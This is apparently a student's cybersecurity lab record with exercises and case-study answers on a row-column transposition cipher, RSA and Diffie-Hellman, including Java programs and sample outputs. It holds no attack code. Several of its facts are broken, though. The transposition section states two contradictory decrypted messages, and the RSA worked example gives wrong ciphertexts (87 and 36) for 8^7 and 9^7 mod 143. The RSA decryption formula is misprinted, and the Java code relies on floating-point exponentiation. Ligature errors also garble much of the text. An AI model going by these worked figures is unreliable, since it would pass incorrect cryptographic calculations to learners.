Column 3 Column 1 Column 2 Column 4 

O       H       I       F 

A       N       T       E 

L       O       A       L 

S       R       T       S 

3. The decrypted message is: "HOTELS AT NOON" 
 

3.What are the strengths and weaknesses of using the Row-Column Transposition Cipher 
for securing sensitive information in this context? 

 
Answer: 
Strengths: 

1. Increased Complexity: By rearranging the order of columns and rows, the Row-Column 
Transposition Cipher introduces complexity that obscures the original message, making it 
more challenging to decipher without knowing the grid and column order. 

2. Flexibility: The cipher can handle messages of varying lengths and can be adapted by 
changing the grid size or keyword to enhance security. 
Weaknesses: 

1. Pattern Recognition: If an attacker can deduce the grid size and keyword or identify 
patterns in the ciphertext, the cipher can be vulnerable to cryptanalysis. 

2. Key Management: The security of the cipher relies on keeping the keyword and grid 
arrangement confidential. If the keyword is discovered, the encryption can be easily 
broken. 

3. Limited Security: Although more secure than simple substitution ciphers, the Row-Column 
Transposition Cipher does not provide strong security against advanced cryptographic 
techniques or frequency analysis. 

4. How could Evelyn adapt the Row-Column Transposition Cipher to improve its security in 
a similar scenario? 

Answer: To improve the security of the Row-Column Transposition Cipher, Evelyn could: 

1. Increase Grid Complexity: Use a larger grid size with more rows and columns to make it 
more difficult to reconstruct the plaintext without the correct grid dimensions. 

2. Combine with Other Ciphers: Integrate the transposition cipher with a substitution cipher 
(e.g., a Caesar or Vigenère Cipher) to add an additional layer of encryption, making it 
harder for unauthorized parties to break the code. 
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3. Use Longer Keywords: Employ longer and more complex keywords to reorder the columns 
and rows, making pattern recognition more challenging. 

4. Encrypt the Keyword: Securely encrypt or conceal the keyword used for the columnar 
transposition to prevent it from being easily discovered by potential attackers. 

5. Randomize Grid Patterns: Regularly change the grid patterns and columnar arrangements 
to minimize the risk of predictable patterns being exploited. 

5. Why might the Row-Column Transposition Cipher have been chosen for this scenario, 
and what are its practical considerations in a modern context? 

Reasons for Choosing the Cipher: 

1. Simplicity and Ease of Use: The Row-Column Transposition Cipher is straightforward to 
implement and understand, making it suitable for quick and secure communication in 
environments where complex encryption methods may be impractical. 

2. Adaptability: It can be easily adapted to different message lengths and security needs by 
adjusting the grid size and keyword. 

Practical Considerations in a Modern Context: 

1. Limited Security: While historically useful, the Row-Column Transposition Cipher may 
not meet modern security requirements due to its susceptibility to pattern analysis and lack 
of strong cryptographic protection. 

2. Integration with Modern Systems: For modern applications, it may be used in combination 
with more advanced cryptographic methods to enhance overall security. 

3. Training and Awareness: Personnel must be trained to understand and properly use the 
cipher, including securely managing keywords and grid arrangements. 

 

RESULT: 

 

Using the Row-Column Transposition Cipher with the keyword "PINE," we successfully 
decrypted the message "HIFNTEOALR TTSIAESM" to reveal the confidential details of the 
logistics operations. The decoded message "FINAL SHIPMENT TO ARRIVE SOON" was an 
important communication that Evelyn Carter securely transmitted to protect sensitive shipment 
information. This case study illustrates how transposition ciphers can be an effective means of 
securing logistics data, particularly when combined with a keyword-based reordering scheme to 
add an extra layer of complexity for unauthorized parties attempting to decrypt the message. 
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AD18712 - CYBER SECURITY LABORATORY 

EX NO:2.                     IMPLEMENTATION OF RSA ALGORITHM 

DATE: 

 

AIM: 

To perform RSA algorithm for the given input number. 

DESCRIPTION: 

1. RSA or Rivest–Shamir–Adleman is an algorithm employed by modern computers to 
encrypt and decrypt messages. It is an asymmetric cryptographic algorithm.  

2. Asymmetric means that there are two different keys. This is also called public-
key cryptography because one among the keys are often given to anyone.  

3. The other is the private key which is kept private.  

4. The algorithm is predicated on the very fact that finding the factors of an outsized number 
is difficult: when the factors are prime numbers, the matter is named prime factorization.  

5. It is also a key pair (public and personal key) generator. 

ALGORITHM: 

1. Consider two prime numbers p and q. 
2. Compute n = p*q 
3. Compute ϕ(n) = (p – 1) * (q – 1) 
4. Choose e such gcd(e , ϕ(n) ) = 1 
5. Calculate d such e*d mod ϕ(n) = 1 
6. Public Key {e,n} Private Key {d,n} 
7. Cipher text C = Pe mod n where P = plaintext 
8. For Decryption D = Dd mod n where D will refund the plaintext. 

 
PROGRAM: 
 
import java.math.*; 
import java.util.*; 
class Main { 
 public static void main(String args[]) 
 {    
  int p, q, n, z, d=0, e, i; 
  Scanner s=new Scanner(System.in); 
        System.out.println("Enter the Message:"); 
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        int msg=s.nextInt(); 
        System.out.println("Enter any prime number 1:"); 
        p=s.nextInt(); 
        System.out.println("Enter any prime number 2:"); 
        q=s.nextInt(); 
  double c; 
  BigInteger msgback; 
  n = p * q; 
  z = (p - 1) * (q - 1); 
  System.out.println("the value of z = " + z); 
  for (e = 2; e < z; e++) { 
   if (gcd(e, z) == 1) { 
    break; 
   } 
  } 
  System.out.println("the value of e = " + e); 
  for (i = 0; i <= 9; i++) { 
   int x = 1 + (i * z); 
   if (x % e == 0) { 
    d = x / e; 
    break; 
   } 
  } 
  System.out.println("the value of d = " + d); 
  c = (Math.pow(msg, e)) % n; 
  System.out.println("Encrypted message is : " + c); 
  BigInteger N = BigInteger.valueOf(n); 
  BigInteger C = BigDecimal.valueOf(c).toBigInteger(); 
  msgback = (C.pow(d)).mod(N); 
  System.out.println("Decrypted message is : " 
      + msgback); 
 } 
 static int gcd(int e, int z) 
 { 
  if (e == 0) 
   return z; 
  else 
   return gcd(z % e, e); 
 } 
} 
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OUTPUT 
Enter the message: 16 
Enter the prime number 1: 7 
Enter the prime number 2: 13  
The value of z: 72 
The value of e: 5 
The value of d: 29 
Encrypted message is: 74.0 
Decrypted message is: 16 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
RESULT: 

Thus the RSA algorithm has been executed successfully.  
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EX NO:  2                                  CASE STUDY FOR RSA ALGORITHM 

DATE: 

 

AIM:  

To Discuss various case studies associated with RSA Algorithm to beƩer understand the working 
of the algorithm. 

 

CASE STUDIES: 

  Case Study 1: Securing Financial TransacƟons 

 

QuesƟons: 

1. What could have gone wrong in the key generaƟon process that allowed private keys to be 
compromised? 

2. What steps should the company take to ensure that their RSA keys are securely generated? 

3. If an aƩacker manages to obtain the private key, what specific steps can the company take 
to minimize the damage? 

4. How could the company enhance the security of the RSA implementaƟon without changing 
the algorithm itself (e.g., key length, mulƟ-factor authenƟcaƟon)? 

 

Answers: 

1. Weak random number generaƟon could lead to predictable prime numbers, making private 
keys vulnerable. 

2. Use a cryptographically secure random number generator (CSPRNG), large key sizes (e.g., 2048-
bit or 4096-bit), and trusted libraries for key generaƟon. 

3. Revoke the compromised key, issue new keys, update all systems relying on the key, and 
monitor for unauthorized access. 

4. Increase key length (e.g., 4096-bit RSA), implement mulƟ-factor authenƟcaƟon, and use 
addiƟonal security protocols like TLS for communicaƟon. 
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 Case Study 2: E-VoƟng System 

 

QuesƟons: 

1. What might have caused issues with the decrypƟon of votes? Could this be an RSA-related 
issue, or is it likely to be a problem with how the system was implemented? 

2. How can the integrity of the votes be ensured using RSA? 

3. What role could hashing play in improving the security and accuracy of the voƟng system? 

4. Given that RSA is used for encrypƟon, what addiƟonal cryptographic methods could be 
implemented to authenƟcate and verify the idenƟƟes of the voters before their votes are 
submiƩed? 

 

Answers: 

1. The issues are likely related to system implementaƟon errors such as faulty decrypƟon 
algorithms or improper handling of encrypted data, rather than RSA itself. 

2. Use digital signatures to ensure that the encrypted votes remain unaltered and can be verified 
for integrity. 

3. Hashing can be used to create a unique fingerprint of the vote, ensuring that the data has not 
been tampered with during transmission or storage. 

4. Implement digital cerƟficates or secure password-based authenƟcaƟon methods to verify voter 
idenƟƟes before vote submission. 

 Case Study 3: Cloud Data EncrypƟon 

 

QuesƟons: 

1. Why might RSA not be the best choice for encrypƟng large volumes of data directly? 

2. What can the company do to miƟgate the performance boƩleneck while sƟll using RSA to 
protect the data? 

3. What are the trade-offs of using RSA for encrypƟng symmetric keys versus encrypƟng the 
actual data? 

4. How should the company securely manage the storage and distribuƟon of private keys 
among authorized personnel to prevent unauthorized access? 
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Answers: 

1. RSA is computaƟonally expensive and slow for large data volumes due to its asymmetric nature, 
making it inefficient for direct data encrypƟon. 

2. Implement hybrid encrypƟon, where RSA encrypts a symmetric key (e.g., AES), and the 
symmetric key is used for encrypƟng large data. 

3. EncrypƟng symmetric keys with RSA is more efficient and faster than encrypƟng the actual 
data, but it requires secure key management. 

4. Use hardware security modules (HSMs) or secure key storage systems and ensure that private 
keys are distributed with strict access controls and audiƟng. 

 

 Case Study 4: Man-in-the-Middle AƩack 

QuesƟons: 

1. What type of aƩack is Eve performing in this scenario? How does it exploit RSA? 

2. What security measures can Bob and Alice implement to prevent this aƩack? 

3. How would the use of digital signatures help ensure that the public key actually belongs to 
Alice? 

4. If Alice and Bob are communicaƟng in real-Ɵme, what steps should they take to verify each 
other's idenƟƟes before exchanging encrypƟon keys? 

 

Answers: 

1. Eve is performing a man-in-the-middle aƩack by intercepƟng and replacing Alice’s public key 
with her own, allowing her to decrypt Bob's messages. 

2. Use digital cerƟficates issued by a trusted cerƟficate authority (CA) to verify the authenƟcity of 
public keys. 

3. Digital signatures would verify that the public key belongs to Alice by proving its origin and 
integrity through the cerƟficate authority. 

4. Use mutual authenƟcaƟon methods like exchanging public keys through secure channels, and 
verify idenƟƟes using out-of-band communicaƟon or digital cerƟficates. 
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Case Study 5: Digital Signatures for SoŌware DistribuƟon 

QuesƟons: 

1. How could an aƩacker trick users into installing a malicious update despite RSA signature 
verificaƟon? 

2. What mechanisms can the company implement to further secure the update distribuƟon 
process? 

3. If the company’s private key were compromised, what would be the immediate steps to 
miƟgate the situaƟon and protect users? 

4. How does the use of a hashing algorithm alongside RSA signatures enhance the security of 
the digital signature process? 

Answers: 

1. An aƩacker could exploit a compromised private key or use a man-in-the-middle aƩack to 
subsƟtute a malicious update that appears to be valid. 

2. Implement Ɵmestamping for updates and use cerƟficate revocaƟon lists (CRLs) to revoke 
compromised cerƟficates. 

3. Revoke the compromised key immediately, noƟfy all users, issue a new key, and sign the 
updates with the new private key. 

4. Hashing ensures that even a small change in the update will result in a different hash, making 
it impossible for an aƩacker to alter the update without detecƟon. 

 

 Case Study: The Secure Email CommunicaƟon 

 Background: 

In 2024, a government agency needs to exchange classified informaƟon securely between its 
different departments. Since public channels like email are oŌen used for communicaƟon, 
encrypƟon is essenƟal to prevent unauthorized access. The IT department decides to use the RSA 
encrypƟon algorithm, which is widely known for its security in public-key cryptography. RSA is 
ideal for this scenario because it allows secure key exchange over insecure channels, ensuring 
that sensiƟve data remains private. 

 

--- 
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 Scenario: 

John, a high-level official, wants to send a confidenƟal email to Sarah, another official in a different 
department. They use RSA encrypƟon to ensure the email is only readable by Sarah. To 
demonstrate how RSA works, the IT team sets up a simplified example for their communicaƟon 
using small prime numbers to generate public and private keys. 

 

--- 

 

 RSA Setup: 

 

1. Prime Numbers: The IT team selects two small prime numbers for simplicity: 

   - \( p = 11 \) 

   - \( q = 13 \) 

 

2. Public Key GeneraƟon: 

   - Compute \( n = p \Ɵmes q \) 

   - \( n = 11 \Ɵmes 13 = 143 \) 

   - Compute \( \phi(n) = (p-1) \Ɵmes (q-1) \) 

   - \( \phi(n) = (11-1) \Ɵmes (13-1) = 10 \Ɵmes 12 = 120 \) 

   - Choose a public exponent \( e = 7 \) (which is relaƟvely prime to \( \phi(n) \)). 

 

3. Private Key GeneraƟon: 

   - The private key \( d \) is the modular inverse of \( e \) modulo \( \phi(n) \), which means \( d 
\Ɵmes e \equiv 1 \mod \phi(n) \). 

   - Solve for \( d \) such that \( d \Ɵmes 7 \equiv 1 \mod 120 \). 

   - The private key \( d = 103 \). 

 

Thus, the public key is \( (e = 7, n = 143) \), and the private key is \( (d = 103, n = 143) \). 
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 EncrypƟon and DecrypƟon Process: 

John wants to send the message "HI" to Sarah. Each leƩer is represented as a number based on 
its posiƟon in the alphabet (A = 1, B = 2, ..., Z = 26). 

- H = 8 

- I = 9 

John will encrypt the message "HI" using Sarah’s public key \( (e = 7, n = 143) \). 

 

 QuesƟons and Answers: 

 QuesƟon 1: EncrypƟng the Message 

How does John encrypt the message "HI" using RSA with Sarah’s public key \( (e = 7, n = 143) \)? 

Answer: 

To encrypt the message, John will apply the RSA encrypƟon formula: 

\[ 

C = M^e \mod n 

\] 

 

Where: 

- \( C \) is the ciphertext, 

- \( M \) is the plaintext (numerical representaƟon of the message), 

- \( e \) is the public exponent, and 

- \( n \) is the modulus. 

 

Step-by-Step EncrypƟon: 

 

- For "H" (8): 

  - \( C_H = 8^7 \mod 143 \) 

  - \( 8^7 = 2097152 \) 
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  - \( 2097152 \mod 143 = 87 \) 

  - Ciphertext for "H" is 87. 

 

- For "I" (9): 

  - \( C_I = 9^7 \mod 143 \) 

  - \( 9^7 = 4782969 \) 

  - \( 4782969 \mod 143 = 36 \) 

  - Ciphertext for "I" is 36. 

 

Thus, the encrypted message John sends to Sarah is (87, 36). 

 

 QuesƟon 2: DecrypƟng the Message 

Sarah receives the ciphertext (87, 36). How does she decrypt it using her private key \( (d = 103, 
n = 143) \)? 

Answer: 

Sarah will use her private key to decrypt the ciphertext. The RSA decrypƟon formula is: 

\[ 

M = C^d \mod n 

\] 

Where: 

- \( M \) is the plaintext, 

- \( C \) is the ciphertext, 

- \( d \) is the private key, and 

- \( n \) is the modulus. 

Step-by-Step DecrypƟon: 

- For 87: 

  - \( M_H = 87^{103} \mod 143 \) 
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  - To simplify, use modular exponenƟaƟon methods. 

  - \( M_H = 8 \) (which corresponds to the leƩer "H"). 

 

- For 36: 

  - \( M_I = 36^{103} \mod 143 \) 

  - Using modular exponenƟaƟon: 

  - \( M_I = 9 \) (which corresponds to the leƩer "I"). 

Thus, Sarah decrypts the ciphertext (87, 36) and recovers the original message "HI". 

 

 QuesƟon 3: CriƟcal Thinking - Key Management 

What are the potenƟal risks in RSA if Sarah's private key \( d \) is leaked, and how can she protect 
her private key? 

Answer: 

If Sarah’s private key \( d \) is leaked: 

- Risk of message intercepƟon: Anyone who obtains her private key can decrypt any message 
intended for Sarah. This compromises the confidenƟality of communicaƟons. 

- Digital signature forgery: An aƩacker with Sarah's private key could forge digital signatures, 
leading to impersonaƟon or tampering with authenƟcaƟon processes. 

ProtecƟng the Private Key: 

- Secure Storage: Sarah should store her private key in a secure, encrypted locaƟon, such as a 
hardware security module (HSM) or an encrypted file protected by a strong password. 

- Two-Factor AuthenƟcaƟon (2FA): ImplemenƟng 2FA for accessing her private key ensures that 
even if her key is stored online, an addiƟonal layer of security (e.g., biometric authenƟcaƟon) 
prevents unauthorized access. 

- Key RotaƟon: Sarah should periodically rotate her private key to minimize the window of 
vulnerability in case it is exposed. This involves generaƟng a new key pair and securely distribuƟng 
the new public key. 

--- 
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QuesƟon 4: Analyzing RSA Security 

RSA is considered secure under certain condiƟons. What makes RSA secure, and what are the 
potenƟal vulnerabiliƟes if the key sizes are too small? 

Answer: 

Security of RSA: 

- Prime FactorizaƟon: RSA's security is based on the difficulty of factoring large composite 
numbers (the modulus \( n \)). If \( n \) is large enough (typically 2048 bits or more), it is 
computaƟonally infeasible to factor it into its prime components \( p \) and \( q \). 

- Public Key Exposure: Even though the public key \( (e, n) \) is openly shared, without the private 
key \( d \), it is difficult to decrypt the ciphertext or forge signatures. 

 

PotenƟal VulnerabiliƟes with Small Key Sizes: 

- Brute-Force FactorizaƟon: If the key size (i.e., the size of \( n \)) is too small, aƩackers can use 
advanced algorithms and compuƟng power to factor \( n \) and determine the private key. For 
example, a 512-bit RSA key can be factored within hours using modern hardware. 

- Chosen Ciphertext AƩack (CCA): In some cases, if an aƩacker can choose a ciphertext and receive 
the corresponding decrypted plaintext, they might be able to infer the private key. 

 

Key Size RecommendaƟon: 

- For modern-day security, RSA keys of 2048 bits or higher are recommended. This ensures that 
the factorizaƟon of \( n \) remains computaƟonally infeasible for the foreseeable future. 

 

 QuesƟon 5: PracƟcal ApplicaƟon - Hybrid Cryptosystems 

RSA is oŌen used in conjuncƟon with symmetric algorithms (e.g., AES). Explain why RSA is typically 
used to encrypt symmetric keys rather than enƟre messages, and how this hybrid system works 
in pracƟce. 

Answer: 

RSA’s Efficiency: 

- Slow for large data: RSA is computaƟonally expensive for encrypƟng large messages because it 
operates on integers that can be hundreds or thousands of bits long. EncrypƟng or decrypƟng a 
long message would take considerable Ɵme and resources. 



Reg No:2127210502
xxx                                                                                               

Page No :66 
 

- Hybrid Approach: In a hybrid cryptosystem, RSA is used to encrypt and securely transmit a 
symmetric key (e.g., an AES key), while the symmetric key is used to encrypt the actual message. 

 

How it works: 

1. Symmetric Key GeneraƟon: The sender generates a random symmetric key (e.g., a 256-bit AES 
key) for encrypƟng the message. 

2. Message EncrypƟon: The sender encrypts the message using the symmetric key and AES (which 
is much faster than RSA for large data). 

3. RSA EncrypƟon of the Symmetric Key: The symmetric key is encrypted using the recipient's RSA 
public key and sent alongside the encrypted message. 

4. DecrypƟon: The recipient first decrypts the symmetric key using their RSA private key. Then, 
they use the symmetric key to decrypt the message. 

 

This hybrid approach combines the efficiency of symmetric encrypƟon for large data with the 
security of RSA for secure key exchange. 

 

 

 

 

 

 

 

 

 

RESULT: 

                  The RSA algorithm is an essenƟal tool in modern cryptography, parƟcularly for secure 
key exchange and digital signatures. In the case study above, we explored how RSA works for 
secure email communicaƟon, touching on key generaƟon, encrypƟon, decrypƟon, and criƟcal 
aspects of RSA's 
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AD18712 - CYBER SECURITY LABORATORY 

EX NO:3. IMPLEMENTATION OF DIFFIEE-HELLMAN EXCHANGE ALGORITHM 

DATE: 

 

AIM: 

To perform Diffiee-Hellman Exchange Algorithm for the given input number. 

DESCRIPTION: 

1. Two parties agree on a large prime number `P` and a primitive root G modulo P, which are 
public and can be shared openly. 

2. Each party selects a private key (a for User 1 and b for User 2), which is kept secret and 
never shared with anyone. 

3. Both parties compute their public keys using the formula: x = G^a mod P for User 1 and y 
= G^b mod P for User 2. These public keys (x and y) are then exchanged between the two 
parties. 

4. Each party uses the received public key and their private key to compute a shared secret key. 
User 1 calculates ka = y^a mod P, and User 2 calculates kb = x^b mod P. Both ka and kb are 
identical. 

5. The identical secret keys ka and kb allow both parties to securely communicate, as this key 
can be used for encrypting and decrypting messages, ensuring secure data exchange. 

ALGORITHM: 

1. The program first takes input values for a prime number ̀ P`, its primitive root `G`, and private 
keys for two users (`a` for User 1 and `b` for User 2). 

2. Calculate the public keys `x` and `y` for User 1 and User 2 respectively using the formula 

3. The calculated public keys `x` and `y` are used in the next steps to generate the secret keys for 
both users. 

4. Each user computes a secret key using the other user's public key and their own private key. 

5. Finally, the program outputs the secret keys `ka` and `kb` for User 1 and User 2, respectively, 
which should be identical if the algorithm is followed correctly. 
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PROGRAM: 
 
import java.util.*; 
class Main{ 
    private static long power(long a, long b, long p) 
    { 
        if (b == 1) 
            return a; 
        else 
            return (((long)Math.pow(a, b)) % p); 
    } 
    public static void main(String[] args) 
    { 
        long P, G, x, a, y, b, ka, kb; 
        Scanner s=new Scanner(System.in); 
        System.out.println("The value of prime number:"); 
        P=s.nextLong(); 
        System.out.println("The value of primitive root of the prime number:"); 
        G=s.nextLong(); 
        System.out.println("The private key of User 1:"); 
        a=s.nextLong(); 
        x = power(G, a, P); 
        System.out.println("The private key of User 2:"); 
        b=s.nextLong(); 
        y = power(G, b, P); 
        ka = power(y, a, P);  
        kb = power(x, b, P);  
        System.out.println("Secret key for User 1 is:" + ka); 
        System.out.println("Secret key for User 2 is:" + kb); 
    } 
} 
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OUTPUT 
The value of prime number: 23 
The value of primitive root of the prime number: 9 
The private key of User 1: 4 
The private key of User 2: 3 
Secret key for User 1: 9 
Secret key for User 2: 9 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
RESULT: 

Thus the Diffiee-Hellman Exchange Algorithm has been executed successfully. 
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EX NO:  3.         CASE STUDY FOR DIFFIEE-HELLMAN EXCHANGE ALGORITHM. 

DATE: 

 

AIM:  

To Discuss various case studies associated with Diffie Hellman Algorithm to beƩer understand 
the working of the algorithm. 

 

CASE STUDIES: 

 Case Study 1: Secure CommunicaƟon Over an Insecure Channel 

QuesƟons: 

1. Explain how Alice and Bob use the Diffie-Hellman algorithm to establish a shared secret key. 

2. How does Diffie-Hellman ensure that Eve cannot determine the shared secret key, even though 
she can observe the public key exchange? 

3. What security risks remain in this scenario, and how can Alice and Bob miƟgate them? 

4. If Alice and Bob want to authenƟcate each other before the key exchange, what cryptographic 
mechanism could they use in combinaƟon with Diffie-Hellman? 

 

Answers: 

1. Alice and Bob each select private keys, compute their public keys using a shared prime and base, 
exchange public keys, and compute the shared secret using their own private keys. 

2. Diffie-Hellman relies on the difficulty of the discrete logarithm problem, meaning Eve cannot 
easily compute the shared secret from the public keys. 

3. A man-in-the-middle aƩack is a risk; Alice and Bob can miƟgate it by using digital signatures or 
cerƟficates to authenƟcate the key exchange. 

4. Alice and Bob can use digital cerƟficates or employ public key infrastructure (PKI) to authenƟcate 
each other before the key exchange. 
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Case Study 2: Man-in-the-Middle AƩack 
QuesƟons: 

1. How does a man-in-the-middle aƩack work in the context of the Diffie-Hellman key exchange? 

2. Why does Diffie-Hellman alone not provide authenƟcaƟon or protecƟon against this type of 
aƩack? 

3. What techniques could Charlie and Dana use to prevent a man-in-the-middle aƩack? 

4. If Eve has successfully established a shared key with both Charlie and Dana, how can Charlie 
and Dana detect the aƩack during or aŌer the key exchange? 

 

Answers: 

1. Eve intercepts the public keys from Charlie and Dana, replaces them with her own, and 
establishes separate shared secrets with both, allowing her to eavesdrop. 

2. Diffie-Hellman provides key exchange but lacks inherent authenƟcaƟon to verify the parƟes' 
idenƟƟes. 

3. They can use digital signatures or a trusted cerƟficate authority (CA) to authenƟcate the public 
keys. 

4. By verifying the authenƟcity of the exchanged public keys or using integrity-check mechanisms 
like digital signatures, they could detect an aƩack. 

 

Case Study 3: Diffie-Hellman in IoT Device CommunicaƟon 

QuesƟons: 

1. What could happen if one of the IoT devices uses weak parameters (e.g., small prime numbers) 
in the Diffie-Hellman key exchange? 

2. How can an aƩacker exploit weak parameters to compromise the security of the 
communicaƟon between the device and the hub? 

3. What steps should the developers take to ensure that all devices are using secure Diffie-
Hellman parameters? 

4. Given the resource-constrained nature of IoT devices, how can the Diffie-Hellman key exchange 
be opƟmized without compromising security? 

 

Answers: 
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1. Weak parameters make it easier for aƩackers to compute the shared secret by solving the 
discrete logarithm problem, thus compromising security. 

2. The aƩacker can use brute-force aƩacks or mathemaƟcal shortcuts to break the weak Diffie-
Hellman keys. 

3. Developers should enforce the use of strong primes and safe key lengths (e.g., at least 2048-bit 
primes) in the Diffie-Hellman exchange. 

4. OpƟmizaƟons include using ellipƟc curve Diffie-Hellman (ECDH), which provides similar security 
with smaller key sizes and lower computaƟonal overhead. 

 

 Case Study 4: Perfect Forward Secrecy in Messaging Apps 

QuesƟons: 

1. What is perfect forward secrecy, and how does Diffie-Hellman enable it in this scenario? 

2. If the server storing encrypted messages is compromised, how does PFS prevent the aƩacker 
from accessing past communicaƟons? 

3. What challenges might arise from generaƟng new Diffie-Hellman key pairs for every session? 
How could the app manage this securely and efficiently? 

4. If an aƩacker compromises a user's device, can perfect forward secrecy sƟll protect the past 
sessions? Why or why not? 

 

Answers: 

1. Perfect forward secrecy (PFS) ensures that past communicaƟon sessions cannot be decrypted 
even if future keys are compromised. Diffie-Hellman enables PFS by generaƟng unique keys for each 
session. 

2. PFS ensures that even if the server is compromised, past session keys cannot be derived, so past 
communicaƟons remain encrypted. 

3. Frequent key generaƟon increases computaƟonal overhead and requires careful key 
management. The app can cache and limit the number of acƟve keys to manage this efficiently. 

4. If a user's device is compromised, PFS protects past sessions because new keys are generated for 
each session, and old session keys are not stored. 

 

 

 Case Study 5: Quantum CompuƟng and Diffie-Hellman 
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QuesƟons: 

1. How does quantum compuƟng threaten the security of the Diffie-Hellman key exchange? 

2. What cryptographic algorithms can the company consider as alternaƟves to Diffie-Hellman to 
protect against quantum aƩacks? 

3. If the company wants to stay ahead of quantum threats while sƟll using Diffie-Hellman in the 
short term, what immediate steps can they take to enhance security? 

4. How can hybrid cryptographic systems be designed to provide security both in the present 
(against classical computers) and in the future (against quantum computers)? 

 

Answers: 

1. Quantum compuƟng could solve the discrete logarithm problem efficiently, breaking Diffie-
Hellman by calculaƟng the private keys from public keys. 

2. The company can explore post-quantum cryptographic algorithms like laƫce-based cryptography 
or code-based cryptography, which are resistant to quantum aƩacks. 

3. Use longer key sizes (e.g., 4096-bit) in Diffie-Hellman to make it more resistant to quantum 
aƩacks, although this only provides temporary protecƟon. 

4. Hybrid systems can combine classical encrypƟon (RSA/Diffie-Hellman) with quantum-resistant 
algorithms, ensuring security in both the current and post-quantum eras. 

  

Case Study6: The Secure Wireless ConnecƟon 

 Background: 

In 2024, a tech company is seƫng up a secure wireless network for its employees to access 
internal resources remotely. The network administrators need to ensure that even if the wireless 
communicaƟon is intercepted, sensiƟve data remains secure. They decide to implement the 
Diffie-Hellman key exchange protocol to enable employees and the company's servers to 
establish a shared secret key over an insecure wireless channel. The Diffie-Hellman protocol 
allows two parƟes to create a shared encrypƟon key without needing to transmit the key itself, 
reducing the risk of intercepƟon. 
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Scenario: 

Alice is working from home and needs to connect to the company’s internal server to access 
confidenƟal documents. Both Alice and the server want to establish a secure communicaƟon 
channel. However, they need to do this over an open Wi-Fi network, which is potenƟally 
vulnerable to eavesdropping. To protect the connecƟon, they decide to use the Diffie-Hellman 
key exchange to create a shared secret key for encrypƟng their communicaƟon. 

 

The network administrator sets up the following Diffie-Hellman parameters: 

 

- A public prime number \( p = 23 \) 

- A public base (also known as the generator) \( g = 5 \) 

 

Alice and the server will each choose a private secret number, and using the public values of \( p 
\) and \( g \), they will calculate a shared key that can be used for symmetric encrypƟon of their 
data. 

 

 QuesƟons and Answers: 

 QuesƟon 1: Understanding the Diffie-Hellman Process 

Explain how Alice and the server use the Diffie-Hellman algorithm to generate a shared secret 
key. 

 

Answer: 

The Diffie-Hellman key exchange works by allowing two parƟes (in this case, Alice and the server) 
to agree on a shared secret key without actually sending the key over the network. The process 
is as follows: 

 

1. Public Parameters: 

   - Both Alice and the server are aware of the public prime \( p = 23 \) and the generator \( g = 5 
\). These values are public and can be shared openly without compromising security. 
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2. Private Keys: 

   - Alice randomly selects a private secret number \( a = 6 \). 

   - The server randomly selects its own private secret number \( b = 15 \). 

 

3. Public Keys: 

   - Alice computes her public key by raising \( g \) to the power of her private key \( a \) and then 
taking the result modulo \( p \): 

     \[ 

     A = g^a \mod p = 5^6 \mod 23 = 15625 \mod 23 = 8 

     \] 

     Alice sends this public key \( A = 8 \) to the server. 

 

   - Similarly, the server computes its public key by raising \( g \) to the power of its private key \( 
b \) and then taking the result modulo \( p \): 

     \[ 

     B = g^b \mod p = 5^{15} \mod 23 = 30517578125 \mod 23 = 19 

     \] 

     The server sends its public key \( B = 19 \) to Alice. 

 

4. Shared Secret Key: 

   - Alice computes the shared secret key by raising the server’s public key \( B = 19 \) to the power 
of her private key \( a = 6 \) and taking the result modulo \( p \): 

     \[ 

     S = B^a \mod p = 19^6 \mod 23 = 47045881 \mod 23 = 2 

     \] 

     So, Alice’s version of the shared secret key is 2. 
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   - The server computes the shared secret key by raising Alice’s public key \( A = 8 \) to the power 
of its private key \( b = 15 \) and taking the result modulo \( p \): 

     \[ 

     S = A^b \mod p = 8^{15} \mod 23 = 35184372088832 \mod 23 = 2 

     \] 

     The server’s version of the shared secret key is also 2. 

 

Thus, both Alice and the server independently compute the same shared secret key, \( S = 2 \), 
which they can use to encrypt and decrypt messages without having to transmit the key itself. 

 

--- 

 

 QuesƟon 2: CriƟcal Thinking - Why is Diffie-Hellman Secure? 

Explain why an eavesdropper who intercepts the public keys \( A = 8 \) and \( B = 19 \) cannot 
determine the shared secret key. 

 

Answer: 

The security of the Diffie-Hellman key exchange relies on the difficulty of solving the discrete 
logarithm problem. Here's why an eavesdropper cannot determine the shared secret key: 

 

1. Intercepted Values: 

   The eavesdropper knows the public prime \( p = 23 \), the generator \( g = 5 \), and the public 
keys \( A = 8 \) and \( B = 19 \). However, these values alone do not reveal the private keys \( a \) 
(Alice's private key) or \( b \) (the server’s private key). 

 

2. Discrete Logarithm Problem: 

   To find the shared secret key, the eavesdropper would need to determine either Alice’s private 
key \( a \) or the server’s private key \( b \). This requires solving equaƟons like: 

   \[ 
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   A = g^a \mod p 

   \] 

   or 

   \[ 

   B = g^b \mod p 

   \] 

   for \( a \) or \( b \). This is known as the discrete logarithm problem, which is computaƟonally 
infeasible to solve efficiently for large numbers. 

 

3. ExponenƟaƟon in Modular ArithmeƟc: 

   The process of raising a number to a power modulo \( p \) (as in \( g^a \mod p \)) is easy to 
compute, but the reverse operaƟon—determining \( a \) given \( A \), \( g \), and \( p \)—is 
extremely difficult for large values of \( p \). This one-way funcƟon provides the security in the 
Diffie-Hellman key exchange. 

 

As a result, even if an eavesdropper intercepts \( A \) and \( B \), they cannot compute the shared 
secret key without solving the discrete logarithm, which is infeasible with large prime numbers. 

 

 QuesƟon 3: The Role of the Shared Secret Key 

Once Alice and the server have computed the shared secret key \( S = 2 \), how can they use this 
key to secure their communicaƟon? 

 

Answer: 

 

The shared secret key \( S = 2 \) can be used as the key for symmetric encrypƟon algorithms such 
as AES (Advanced EncrypƟon Standard). Here's how Alice and the server would use the shared 
secret to secure their communicaƟon: 
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1. Symmetric EncrypƟon: 

   - Both Alice and the server use the shared secret key \( S = 2 \) as the key for a symmetric 
encrypƟon algorithm like AES or DES. 

   - Alice can encrypt the confidenƟal documents she sends to the server using this key, and the 
server can decrypt the received data using the same key. 

 

2. ConfidenƟality: 

   - Since both parƟes have the same shared secret key, they can securely exchange informaƟon, 
knowing that only they have access to the key. 

   - Even if an eavesdropper intercepts the encrypted communicaƟon, without the shared key, 
they will not be able to decrypt the messages. 

 

3. Message Integrity: 

   - In addiƟon to encrypƟng the data, Alice and the server could use the shared key to generate a 
